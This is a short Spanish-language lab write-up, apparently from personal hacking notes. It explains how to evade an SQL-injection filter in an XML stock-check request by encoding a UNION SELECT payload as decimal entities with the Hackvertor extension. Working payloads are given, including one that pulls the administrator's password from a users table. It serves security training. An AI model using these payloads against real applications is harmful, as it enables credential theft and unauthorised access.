> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md).

# Evasión de filtros de inyección SQL con codificación XML

### Inyección SQL con omisión de filtro mediante codificación XML

Este laboratorio contiene una vulnerabilidad de inyección SQL en la función de verificación de stock. Los resultados de la solicitud se devuelven en la respuesta de la aplicación; por lo tanto, podemos usar un `UNION` ataque para recuperar datos de otras tablas. / La base de datos contiene una `users` tabla que contiene los nombres de usuario y las contraseñas de los usuarios registrados. Para resolver el laboratorio, realiza un ataque de inyección SQL para obtener los IDs de usuario administrador y luego inicia sesión en su cuenta.

Ejemplos proporcionados:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId>2 union select 1</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/49487f9f07ab6389c9a73112bd307a45bace6a34" alt=""><figcaption></figcaption></figure>

* Extensión Hackvertor — entidades decimales

<figure><img src="/files/1b231944273f16fd140fc08bcc1c3397e9faa68a" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId><@dec_entities>2 union select 1</@dec_entities></storeId>
</stockCheck>

<@dec_entities>
2 union select password from users where username='administrator'
</@dec_entities>
```

{% endcode %}

<figure><img src="/files/ff08c5e4d86d2c6447784ea5a1e9f9eae97442dc" alt=""><figcaption></figcaption></figure>


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